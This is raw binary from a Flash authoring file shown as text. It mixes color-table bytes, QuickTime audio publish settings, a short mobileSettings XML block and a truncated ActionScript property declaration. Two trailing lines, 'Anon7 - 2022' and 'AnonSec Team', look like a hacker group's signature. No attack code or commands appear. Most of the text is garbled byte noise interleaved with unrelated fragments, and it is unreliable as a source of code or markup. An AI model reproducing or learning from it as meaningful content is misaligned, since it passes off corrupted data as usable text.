CColorDef3PfP0PHP`Px333(3f<03CH3F`3Hxf0f30ff(0f5Hf<`f@x3330333xf3d03]H3Z`3Xx3333303f3PPH33Px`33Px33Pf30f33PHff3(PHf3<x`f3Cxf3Ffff`f03f0ffx0fkHfd`f`x3f033fPH3ffxPH3fdx`3f]x3fZff0f3fPHfff`ffP0xffPxffPH3HfHxH̙n`hx3H33x`3fx`3xx`3̙kx3dfHf3x`ff0xfx0xf̙dxf]`3`f``x`px3`33x3fx3x3xx3nf`f3xffxfxfxxfkx3xfxxxxx3x333f333xfxf3fffffxxH3
HfH(H2`8x`3
`f`̙`(`0xx3xfxx x(xPx3H33x`f3x`3(x`35x3<3`33xf3
x̙3x3(x323x33f3
333(xfH3fx`ff0xf(0xf<xfCf`3fxffx̙fxf(xf5fx3ffff
ff((xH3x`f0x̙PPP`3xfx̙P̙(P<x3f̙(xx`3xfxPxPd`3xfx̙PPx3f(xx3fxx3f̙xx3ff`zf*]k>"PublishQTProperties::QTSndSettingsCQTAudioSettingsh<?xml version="1.0" encoding="UTF-16" standalone="no" ?>
<mobileSettings>

  <contentType id="standalonePlayer" name="Standalone Player"/>

  <testDevices/>

</mobileSettings>
le] public function get totalTime():Number;

   public function set totalTime(aTime:Number):Void;

   public function get tra

Anon7 - 2022
AnonSec Team